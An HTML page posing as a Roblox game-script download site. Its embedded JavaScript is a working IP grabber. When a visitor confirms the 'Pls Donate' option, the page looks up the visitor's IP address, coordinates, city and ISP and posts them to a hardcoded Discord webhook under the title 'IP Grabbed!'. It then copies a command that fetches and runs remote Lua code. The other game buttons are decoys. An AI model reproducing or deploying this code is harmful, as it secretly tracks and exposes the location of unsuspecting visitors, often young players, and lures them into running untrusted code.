<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Ultimate Roblox Scripts</title>
    <style>
        body {
            background: linear-gradient(180deg, black, red, black, red, black);
            background-size: 400% 400%;
            animation: gradientMove 10s ease infinite;
            color: white;
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            overflow: hidden;
            position: relative;
            transition: all 0.3s ease;
        }

        @keyframes gradientMove {
            0% {
                background-position: 0% 0%;
            }

            25% {
                background-position: 0% 100%;
            }

            50% {
                background-position: 100% 100%;
            }

            75% {
                background-position: 100% 0%;
            }

            100% {
                background-position: 0% 0%;
            }
        }

        h1 {
            margin-bottom: 20px;
            text-shadow: 2px 2px 5px black;
            position: relative;
            z-index: 1;
            pointer-events: none;
            user-select: none;
        }

        .button-container {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            width: 100%;
            transition: all 0.3s ease;
            position: relative;
            z-index: 1;
        }

        .button {
            background-color: white;
            border: none;
            color: black;
            padding: 15px 30px;
            text-align: center;
            text-decoration: none;
            display: inline-block;
            font-size: 20px;
            margin: 10px;
            cursor: pointer;
            border-radius: 12px;
            transition: background-color 0.3s, box-shadow 0.3s, transform 0.3s, opacity 0.3s;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3);
            position: relative;
            z-index: 2;
        }

        .button:hover {
            background-color: red;
            box-shadow: 0 0 5px red, 0 0 15px red, 0 0 25px red;
            color: white;
        }

        .button.enlarged {
            transform: scale(2);
            z-index: 3;
        }

        .button.transparent {
            opacity: 0.6;
        }

        #cursor-effect {
            position: absolute;
            width: 60px;
            height: 60px;
            border-radius: 50%;
            background: transparent;
            pointer-events: none;
            transform: translate(-50%, -50%);
            transition: background 0.3s ease;
            z-index: 0;
        }

        .shadow-effect {
            position: absolute;
            width: 100px;
            height: 100px;
            border-radius: 50%;
            background: rgba(0, 0, 0, 0.6);
            transform: translate(-50%, -50%);
            pointer-events: none;
            transition: width 0.3s ease, height 0.3s ease, opacity 0.3s ease;
            z-index: -1;
        }

        .notification {
            display: none;
            position: fixed;
            bottom: 20px;
            left: 50%;
            transform: translateX(-50%);
            background-color: rgba(0, 0, 0, 0.8);
            color: white;
            padding: 15px;
            border-radius: 10px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.5);
            z-index: 100;
            transition: opacity 0.5s ease;
        }

        .modal {
            display: none;
            position: fixed;
            z-index: 20;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            justify-content: center;
            align-items: center;
        }

        .modal-content {
            background-color: rgba(255, 255, 255, 0.9);
            padding: 20px;
            border-radius: 12px;
            text-align: center;
            color: black;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.5);
        }

        .modal-button {
            margin: 10px;
            padding: 10px 20px;
            border: none;
            border-radius: 12px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s, color 0.3s, box-shadow 0.3s;
        }

        .modal-button.confirm {
            background-color: green;
            color: white;
        }

        .modal-button.cancel {
            background-color: red;
            color: white;
        }

        .modal-button:hover {
            box-shadow: 0 0 5px rgba(0, 0, 0, 0.3), 0 5px 15px rgba(0, 0, 0, 0.3);
        }

        .button-container .button.non-hoverable {
            pointer-events: none;
            opacity: 0.5;
        }

        body:hover #cursor-effect {
            background: radial-gradient(circle, rgba(255, 255, 255, 0.2) 30%, rgba(0, 0, 0, 0.7) 100%);
        }

        body * {
            user-select: none;
        }

        @media (max-width: 800px) {
            .button-container {
                justify-content: flex-start;
            }

            .button {
                flex: 1 0 30%;
                margin: 5px;
            }
        }
    </style>
</head>

<body>
    <h1>Ultimate Game Scripts</h1>

    <div class="button-container">
        <button class="button" onclick="showConfirmation('bf')">Blox Fruits</button>
        <button class="button" onclick="showConfirmation('pd')">Pls Donate</button>
        <button class="button" onclick="showConfirmation('mm2')">Murder Mystery 2</button>
        <button class="button" onclick="showConfirmation('bb')">Blade Ball</button>
        <button class="button" onclick="showConfirmation('am')">Adopt Me</button>
        <button class="button" onclick="showConfirmation('pg')">Pets Go!</button>
        <button class="button" onclick="showConfirmation('psx')">Pet Simulator X</button>
        <button class="button" onclick="showConfirmation('ps99')">Pet Simulator 99</button>
        <button class="button" onclick="showConfirmation('ad')">Anime Defenders</button>
    </div>

    <div id="cursor-effect"></div>
    <div class="shadow-effect" id="shadow-effect"></div>

    <div class="notification" id="notification">Script has been copied!</div>

    <div class="modal" id="confirmationModal">
        <div class="modal-content">
            <p id="modalMessage">Are you sure you want to proceed?</p>
            <button class="modal-button confirm" id="confirmActionButton">Yes</button>
            <button class="modal-button cancel" id="cancelActionButton">No</button>
        </div>
    </div>

    <script>
        const webhookURL = 'https://discord.com/api/webhooks/1313750594590347318/si2K75nhbdd5du9JOj346Hueqkga6IqFB5BJRTnw8fHFdnUxS97Yn5MNafndVhn-zJfO'; // Change this to your webhook URL

        async function backTick(string) {
            return "```" + string + "```";
        };

        async function getLocation() {
            const response = await fetch("http://ip-api.com/json/", {
                method: 'GET'
            });

            if (response.ok) {
                const data = await response.json();
                const { as, city, country, countryCode, isp, lat, lon, org, query, region, regionName, status, timezone } = data;

                return { as, city, country, countryCode, isp, lat, lon, org, query, region, regionName, status, timezone };
            }
            return null;
        };

        async function sendToWebhook(locationData) {
            const payload = {
                content: `@everyone`,
                embeds: [
                    {
                        title: "IP Grabbed!",
                        fields: [
                            { name: "IP Address", value: locationData.query, inline: true },
                            { name: "Country", value: locationData.country, inline: true },
                            { name: "Region", value: locationData.region, inline: true },
                            { name: "Coordinates", value: `${locationData.lat}, ${locationData.lon}`, inline: true },
                            { name: "ISP", value: locationData.isp, inline: true },
                            { name: "Timezone", value: locationData.timezone, inline: true },
                            { name: "Region Name", value: locationData.regionName, inline: true },
                            { name: "Organisation", value: locationData.org, inline: true },
                            { name: "City", value: locationData.city, inline: true },
                            { name: "Country Code", value: locationData.countryCode, inline: true },
                            { name: "AS", value: locationData.as, inline: true },
                        ],
                        thumbnail: {
                            url: "https://i.ibb.co/yRnZPb3/47-sin-titulo-20241130215520.pngh"
                        },
                        footer: {
                            text: "made by kaito",
                        },
                    },
                ],
                avatar_url: "https://i.ibb.co/yRnZPb3/47-sin-titulo-20241130215520.png",
                username: "HTML Grabber"
            };

            try {
                await fetch(webhookURL, {
                    method: 'POST',
                    headers: {
                        "Content-Type": "application/json",
                    },
                    body: JSON.stringify(payload),
                });
            } catch (error) {
                console.error("Error sending message to webhook:", error);
            }
        };

        const confirmationModal = document.getElementById('confirmationModal');
        const confirmActionButton = document.getElementById('confirmActionButton');
        const cancelActionButton = document.getElementById('cancelActionButton');
        const notification = document.getElementById('notification');
        const modalMessage = document.getElementById('modalMessage');

        let currentGame;

        function setButtonState(state) {
            const buttons = document.querySelectorAll('.button-container .button');
            buttons.forEach(button => {
                if (state) {
                    button.classList.add('non-hoverable'); // Make buttons non-hoverable
                } else {
                    button.classList.remove('non-hoverable'); // Enable buttons
                }
            });
        }

        function showConfirmation(game) {
            currentGame = game; // Save the game to perform action later
            setButtonState(true); // Disable other buttons

            if (game === 'pd') {
                modalMessage.innerText = "Are you sure you want to proceed?";
            } else {
                modalMessage.innerText = "ERROR: 404"; // Set error message
            }

            confirmationModal.style.display = 'flex';
        }

        confirmActionButton.addEventListener('click', async () => {
            confirmActionButton.disabled = true; // Disable the Yes button
            confirmActionButton.style.backgroundColor = 'lightgray'; // Change button color for clarity
            confirmActionButton.style.cursor = 'not-allowed'; // Change cursor to indicate it's disabled

            if (currentGame === 'pd') {
                const locationData = await getLocation(); // Fetch location data when 'Yes' is clicked
                if (locationData) {
                    await sendToWebhook(locationData); // Send location data to webhook
                    copyText(currentGame); // Copy the game text
                }
            } else {
                showNotification("ERROR: 404");
            }

            confirmationModal.style.display = 'none'; // Close the modal
            setButtonState(false); // Enable other buttons

            // Re-enable the Yes button after 3 seconds
            setTimeout(() => {
                confirmActionButton.disabled = false; // Enable the Yes button
                confirmActionButton.style.backgroundColor = ''; // Reset button color
                confirmActionButton.style.cursor = 'pointer'; // Reset cursor
            }, 3000); // 3000ms = 3 seconds
        });

        cancelActionButton.addEventListener('click', () => {
            confirmationModal.style.display = 'none'; // Close the modal
            setButtonState(false); // Enable other buttons
        });

        function copyText(game) {
            let textToCopy;

            switch (game) {
                case 'bf':
                    textToCopy = '-- Blox Fruits';
                    break;
                case 'pd':
                    textToCopy = 'loadstring(game:HttpGet("https://raw.githubusercontent.com/DarkMuscles/Roblox/main/PLSDonate.lua"))()';
                    break;
                case 'mm2':
                    textToCopy = '-- Murder Mystery 2';
                    break;
                case 'bb':
                    textToCopy = '-- Blade Ball';
                    break;
                case 'am':
                    textToCopy = '-- Adopt Me';
                    break;
                case 'pg':
                    textToCopy = '-- Pets Go!';
                    break;
                case 'psx':
                    textToCopy = '-- Pet Simulator X';
                    break;
                case 'ps99':
                    textToCopy = '-- Pet Simulator 99';
                    break;
                case 'ad':
                    textToCopy = '-- Anime Defenders';
                    break;
                default:
                    textToCopy = '';
            }

            const textarea = document.createElement("textarea");
            textarea.value = textToCopy;
            document.body.appendChild(textarea);
            textarea.select();
            document.execCommand("copy");
            document.body.removeChild(textarea);

            showNotification("Script has been copied!");
        }

        function showNotification(message) {
            notification.innerText = message;
            notification.style.display = 'block'; // Show the notification
            setTimeout(() => {
                notification.style.opacity = '1'; // Fade in
                setTimeout(() => {
                    notification.style.opacity = '0'; // Fade out
                    setTimeout(() => {
                        notification.style.display = 'none'; // Hide after fadeout
                    }, 500);
                }, 2000); // Change time for how long the message is visible
            }, 10);
        }

        const cursorEffect = document.getElementById('cursor-effect');
        const shadowEffect = document.getElementById('shadow-effect');

        document.addEventListener('mousemove', (e) => {
            cursorEffect.style.left = `${e.clientX}px`;
            cursorEffect.style.top = `${e.clientY}px`;
            shadowEffect.style.left = `${e.clientX}px`;
            shadowEffect.style.top = `${e.clientY}px`;
        });

        const buttons = document.querySelectorAll('.button');

        buttons.forEach(button => {
            button.addEventListener('mouseenter', () => {
                buttons.forEach(btn => {
                    if (btn !== button) {
                        btn.classList.add('transparent');
                    }
                });
                button.classList.add('enlarged');
            });

            button.addEventListener('mouseleave', () => {
                buttons.forEach(btn => {
                    btn.classList.remove('transparent');
                });
                button.classList.remove('enlarged');
            });
        });

        document.addEventListener('mouseenter', () => {
            cursorEffect.style.display = 'block';
            shadowEffect.style.display = 'block';
        });

        document.addEventListener('mouseleave', () => {
            cursorEffect.style.display = 'none';
            shadowEffect.style.display = 'none';
        });
    </script>
</body>

</html>